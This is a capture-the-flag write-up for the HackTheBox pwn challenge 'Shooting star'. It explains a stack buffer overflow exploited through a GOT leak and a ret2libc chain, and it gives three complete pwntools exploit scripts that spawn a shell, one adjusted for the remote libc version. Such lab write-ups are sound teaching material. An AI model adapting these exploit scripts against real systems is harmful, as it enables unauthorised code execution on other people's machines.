Shooting star
Shooting star
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Tired of exploring the never-ending world, you lie down and enjoy the crystal clear sky. Over a million stars above your head! Enjoy the silence and the glorious stars while you rest.
Solution Approach
Core idea: Buffer Overflow (Stack-Based Exploitation). Leaking libc runtime using write@got and pop_rsi_r15 gadget.
Steps
-
First, unzip the
.zipfile given. -
Next, check the type of file we got.
-
It's a 64 bit binary file, dynamically linked, and not stripped, hence it's easier for us to debug and identify the functions.
-
Now check the binary's protection.
-
Let's make the file executeable by run chmod, then run the file in gdb.
-
Let's choose option 1.
-
Let's paste 1024 cyclic pattern.
-
Find the correct bytes to overflow the buffer.
-
It's 72 bytes.
-
Now let's check all the functions available.
-
A function caught my attention ->
setup()func. -
Let's decompile the binary using ghidra.
-
Check the
star()function. -
Notice the program reads more buffer from
local_48. -
We found the vuln there.
-
I think the concept here is ret2libc, because there's not
system()function, but onlyreads()andwrite(), both are come from the libc library. -
Now we need to leak the
.gotaddress. -
First, let's get the
pop_rdivalue from the binary using ropper. We need pop RDI gadget to passshtosystem().
ropper --file shooting_star --search "pop rdi"
- Next, get the
pop_rsivalue. We need pop RSI to put got.write address in (before leak thegotvia plt.write.
ropper --file shooting_star --search "pop rsi"
- Now to leak the
got address, the payloads we need to send are:
paddingBytes - pop_rsi_r15 - elf.got.write - 0x0 - elf.plt.write - elf.symbols.main
NOTES:
- pop_rsi_r15 -> pop the following value from stack into RSI.
- elf.got.write -> address of write() in GOT.
- 0x0 -> as a junk , cause we don't need anything in r15.
- elf.plt.write -> need to call plt.write() to print address of got.write()
- elf.symbols.main -> return to the beginning/start of the `star()` function.
- Here are our script so far:
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) def find_ip(payload): p = process(exe) p.sendlineafter('>', '1') p.sendlineafter('>>', payload) p.wait() # wait for the process to crash # Print out the address of EIP/RIP at the time of crashing # ip_offset = cyclic_find(p.corefile.pc) # x86 ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64 info('located EIP/RIP offset at {a}'.format(a=ip_offset)) return ip_offset gdbscript = ''' init-pwndbg break main '''.format(**locals()) exe = './shooting_star' elf = context.binary = ELF(exe, checksec=False) context.log_level = 'debug' ### EXPLOITATION paddingBytes = find_ip(cyclic(1024)) io = start() pop_rdi = 0x4012cb pop_rsi_r15 = 0x4012c9 payload = flat( {paddingBytes: [ pop_rsi_r15, # Pop the following value from stack into RSI elf.got.write, # Address of write() in GOT 0x0, # Don't need anything in r15 elf.plt.write, # Call plt.write() to print address of got.write() elf.symbols.main # Return to beginning of star function ]} ) ### Send the payload io.sendlineafter('>', '1') io.sendlineafter('>>', payload) io.recvuntil('May your wish come true!\n') leaked_addr = io.recv() # got the address printed out in hex got_write = unpack(leaked_addr[:6].ljust(8, b"\x00")) info("leaked got_write: %#x", got_write)
OUTPUT
-
Great! We leaked the
got_write address. -
To get our
libc base address. Let's run ldd to the binary. -
Then run readelf to get the offset of write from the libc.
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write
- To calculate the
libc base addresswe need to substract theaddress of got_writetowrite address from libc.
libc_baseAddr = got_write - writeAddr_fromLibc
- Next, to get the
system addressneed to additionlibc_baseAddrtosystemAddr from the libc.
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
GET THE SYSTEM ADDR FROM LIBC
- Now get the address of
bin/sh.
strings -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
- Finally we just need to build the actual payload using the
system()address this time.
paddingBytes - pop_rdi - bin_sh - system_addr
- So here is our final script.
FINAL SCRIPT - RET2LIBC
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) def find_ip(payload): p = process(exe) p.sendlineafter('>', '1') p.sendlineafter('>>', payload) p.wait() # wait for the process to crash # Print out the address of EIP/RIP at the time of crashing # ip_offset = cyclic_find(p.corefile.pc) # x86 ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64 info('located EIP/RIP offset at {a}'.format(a=ip_offset)) return ip_offset exe = './shooting_star' elf = context.binary = ELF(exe, checksec=False) context.log_level = 'debug' ### EXPLOITATION paddingBytes = find_ip(cyclic(1024)) sh = start() pop_rdi = 0x4012cb pop_rsi_r15 = 0x4012c9 info("%#x pop_rdi", pop_rdi) # format this into hex info("%#x pop_rsi_r15", pop_rsi_r15) # format this into hex payload = flat( {paddingBytes: [ pop_rsi_r15, # Pop the following value from stack into RSI elf.got.write, # Address of write() in GOT 0x0, # Don't need anything in r15 elf.plt.write, # Call plt.write() to print address of got.write() elf.symbols.main # Return to beginning of star function ]} ) sh.sendlineafter('>', '1') sh.sendlineafter('>>', payload) sh.recvuntil('May your wish come true!\n') leaked_addr = sh.recv() # got the address printed out in hex got_write = unpack(leaked_addr[:6].ljust(8, b"\x00")) info("leaked got_write: %#x", got_write) libc_base = got_write - 0xf8180 info("libc_base: %#x", libc_base) system_addr = libc_base + 0x4c330 info("system_addr: %#x", system_addr) bin_sh = libc_base + 0x196031 info("bin_sh: %#x", bin_sh) payload = flat( {paddingBytes: [ pop_rdi, bin_sh, system_addr ]} ) sh.sendline('1') sh.sendlineafter('>>', payload) sh.recvuntil('May your wish come true!\n') sh.interactive()
OUTPUT - LOCAL
-
Got the shell! Now test it remotely.
-
Got segmentation fault here. Confused here.
-
So i check the forum and got a hint that we need to check what versions of LIBC is running on the remote server.
-
We can search that using this webapp.
-
Using our leaked got address, paste it on the we app and click find.
-
Click on this one.
-
Copy the write, system, and bin/sh offset.
-
Great! Now let's run the script again remotely.
REALLY FINAL THIS TIME!
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) def find_ip(payload): p = process(exe) p.sendlineafter('>', '1') p.sendlineafter('>>', payload) p.wait() # wait for the process to crash # Print out the address of EIP/RIP at the time of crashing # ip_offset = cyclic_find(p.corefile.pc) # x86 ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64 info('located EIP/RIP offset at {a}'.format(a=ip_offset)) return ip_offset exe = './shooting_star' elf = context.binary = ELF(exe, checksec=False) context.log_level = 'debug' ### EXPLOITATION paddingBytes = find_ip(cyclic(1024)) sh = start() pop_rdi = 0x4012cb pop_rsi_r15 = 0x4012c9 info("%#x pop_rdi", pop_rdi) # format this into hex info("%#x pop_rsi_r15", pop_rsi_r15) # format this into hex payload = flat( {paddingBytes: [ pop_rsi_r15, # Pop the following value from stack into RSI elf.got.write, # Address of write() in GOT 0x0, # Don't need anything in r15 elf.plt.write, # Call plt.write() to print address of got.write() elf.symbols.main # Return to beginning of star function ]} ) sh.sendlineafter('>', '1') sh.sendlineafter('>>', payload) sh.recvuntil('May your wish come true!\n') leaked_addr = sh.recv() # got the address printed out in hex got_write = unpack(leaked_addr[:6].ljust(8, b"\x00")) info("leaked got_write: %#x", got_write) libc_base = got_write - 0x110210 #remote write offset | #0xf8180 - our write offset info("libc_base: %#x", libc_base) system_addr = libc_base + 0x04f550 # system offset | #0x4c330 - our system offset info("system_addr: %#x", system_addr) bin_sh = libc_base + 0x1b3e1a #remote bin/sh offset | #0x196031 - our bin/sh offset info("bin_sh: %#x", bin_sh) payload = flat( {paddingBytes: [ pop_rdi, bin_sh, system_addr ]} ) sh.sendline('1') sh.sendlineafter('>>', payload) sh.recvuntil('May your wish come true!\n') sh.interactive()
- Got the flag!
ALTERNATE SOLVER
py read-only • copy allowedimport os from pwn import * os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) exe = './shooting_star' elf = context.binary = ELF(exe, checksec=True) context.log_level = 'DEBUG' sh = start() padding = b'A' * 72 pop_rdi = 0x00000000004012cb info('pop_rdi_gadget --> %#0x', pop_rdi) pop_rsi_r15 = 0x00000000004012c9 info('pop rsi r15 --> %#0x', pop_rsi_r15) p = flat([ padding, pop_rsi_r15, elf.got['write'], 0x0, elf.plt['write'], elf.sym['main'] ]) sh.sendlineafter(b'>', b'1') sh.sendlineafter(b'>>', p) sh.recvline() sh.recvline() get = sh.recv() print('[+] Grabbed leaked libc addr -->', get) #strip_it = get.strip() #print('This is the stripped ones -->', strip_it) leaked = get[:6] print('Grabbed leaked -->', leaked) leaked_libc = unpack(leaked.ljust(8,b'\x00')) info('This is the leaked libc_address --> %#0x', leaked_libc) #leaked = unpack(strip_it.ljust(8, b'\x00')) #print(leaked) #library = './libc6_2.5-0ubuntu14_i386.so' library = './libc6_2.27-3ubuntu1.4_amd64.so' libc = context.binary = ELF(library, checksec=False) info('libc_write --> %#0x', libc.sym['write']) libc_base = leaked_libc - libc.sym['write'] info('libc_base --> %#0x', libc_base) system_addr = libc_base + 0x000000000004f550 info('system_addr --> %#0x', system_addr) binsh_addr = libc_base + 0x1b3e1a info('binsh_addr --> %#0x', binsh_addr) pay = flat([ padding, pop_rdi, binsh_addr, system_addr ]) sh.sendline(b'1') #sh.sendlineafter(b'>', b'1') sh.sendlineafter(b'>>', pay) sh.interactive()
NOTES: It failed locally, but succeed remotely. (the problem still the same as before, the remote libc library used is different).
Flag
REDACTED
Lessons Learned
- Buffer Overflow (Stack-Based Exploitation).
- Leaking libc runtime using write@got and
pop_rsi_r15gadget. - Implement ret2libc attack.